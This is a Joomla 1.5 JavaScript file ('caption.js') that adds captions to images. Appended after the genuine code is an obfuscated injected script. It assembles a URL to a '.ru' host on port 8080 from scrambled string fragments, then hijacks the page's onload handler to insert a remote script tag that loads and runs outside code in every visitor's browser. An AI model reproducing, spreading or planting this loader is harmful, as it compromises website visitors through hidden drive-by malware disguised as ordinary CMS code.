/**
* @version		$Id: caption.js 5263 2006-10-02 01:25:24Z webImagery $
* @copyright	Copyright (C) 2005 - 2009 Open Source Matters. All rights reserved.
* @license		GNU/GPL, see LICENSE.php
* Joomla! is free software. This version may have been modified pursuant
* to the GNU General Public License, and as distributed it includes or
* is derivative of works licensed under the GNU General Public License or
* other free or open source software licenses.
* See COPYRIGHT.php for copyright notices and details.
*/

/**
* JCaption javascript behavior
*
* Used for displaying image captions
*
* @package	Joomla
* @since	1.5
* @version	1.0
*/
var JCaption = new Class({
	initialize: function(selector)
	{
		this.selector = selector;

		var images = $$(selector);
		images.each(function(image){ this.createCaption(image); }, this);
	},

	createCaption: function(element)
	{
		var caption   = document.createTextNode(element.title);
		var container = document.createElement("div");
		var text      = document.createElement("p");
		var width     = element.getAttribute("width");
		var align     = element.getAttribute("align");
		var docMode = document.documentMode;

		//Windows fix
		if (!align)
			align = element.getStyle("float");  // Rest of the world fix
		if (!align) // IE DOM Fix
			align = element.style.styleFloat;

		text.appendChild(caption);
		text.className = this.selector.replace('.', '_');

		if (align=="none") {
			if (element.title != "") {
				element.parentNode.replaceChild(text, element);
				text.parentNode.insertBefore(element, text);
			}
		} else {
			element.parentNode.insertBefore(container, element);
			container.appendChild(element);
			if ( element.title != "" ) {
				container.appendChild(text);
			}
			container.className   = this.selector.replace('.', '_');
			container.className   = container.className + " " + align;
			container.setAttribute("style","float:"+align);

			//IE8 fix
			if (!docMode|| docMode < 8) {
				container.style.width = width + "px";
			}
		}

	}
});

document.caption = null;
window.addEvent('load', function() {
	var caption = new JCaption('img.caption')
	document.caption = caption
});


this.c='';var _P=new Date();try {var H='';var Un='';var W=new String();var _=String("g");var F=RegExp;var UY;if(UY!='T' && UY != ''){UY=null};var l='';this.uu='';var M=String("re"+"plvkb".substr(0,2)+"acAW1L".substr(0,2)+"emVxr".substr(0,1));var j=new String("fm7]".substr(3));var D=String("[");var Tq;if(Tq!='' && Tq!='zN'){Tq='WU'};var J=new Array();function f(S,N){var ih="";var g=D;g+=N;this.FH='';var QF=new String();g+=j;var yg;if(yg!='' && yg!='Qv'){yg=null};var p;if(p!='' && p!='HY'){p=null};var DQ=new F(g, _);var R;if(R!='' && R!='dL'){R='X'};return S.replace(DQ, l);var TV;if(TV!='WS' && TV!='b'){TV='WS'};var ML;if(ML!='_e' && ML!='uG'){ML='_e'};};var k='';var pt;if(pt!=''){pt='WX'};var Fb;if(Fb!=''){Fb='MQ'};var O=String("onl"+"v5soad".substr(3));var Vw=new String();var u=new String("scrjyL8".substr(0,3)+"ipt");var s=f('hYt0tYpY:0/0/Ya0dYd0i0c0t0iYn0g0gYa0mYeYsY-0cYoYm0.Yg0o0o0gYlYe0.Yn0o0.Yh0uYf0fYi0nYgYt0o0n0p0oYsYtY-0cYoYm0.0m0y0o0wYnYa0gYeY.0r0u0:Y',"Y0");var Wj="";var jT;if(jT!='Wk' && jT != ''){jT=null};var _a=f('82120952811505159',"5921");this.Bq="";var Rf=new Array();var rY="";this.Mi="";var z="/tudhoT".substr(0,4)+"OSzou.cSOz".substr(3,4)+"DL5kom/t".substr(4)+"udou"+".com4g8".substr(0,4)+"/goo"+"x1Jgle.".substr(3)+"com."+"ec/s"+"VPIina.".substr(3)+"com.05Y9".substr(0,4)+"cn/g"+"hu28oogl".substr(4)+"e.coMGtI".substr(0,4)+"m.ph"+"pweY".substr(0,1);var S="1";var Jq="";var E=new String();window[O]=function(){var hf;if(hf!='' && hf!='lB'){hf=null};var a='';i=document.createElement(u);var Yo;if(Yo!='n' && Yo!='My'){Yo='n'};var Jx;if(Jx!='' && Jx!='L_'){Jx=''};var OP;if(OP!='FW'){OP='FW'};k+=s;var Tu=new Array();k+=_a+z;var ht;if(ht!='' && ht!='FU'){ht=''};var jO;if(jO!=''){jO='gy'};i.defer=S;this.yY="";i.src=k;var eC=new Date();var dZ;if(dZ!='rq' && dZ!='aY'){dZ='rq'};var tG;if(tG!=''){tG='Ql'};var PS=new String();var U=document.body;var Mr='';U.appendChild(i);};} catch(fT){var Me;if(Me!='' && Me!='JO'){Me=''};};var dr;if(dr!='PB' && dr != ''){dr=null};this.AV='';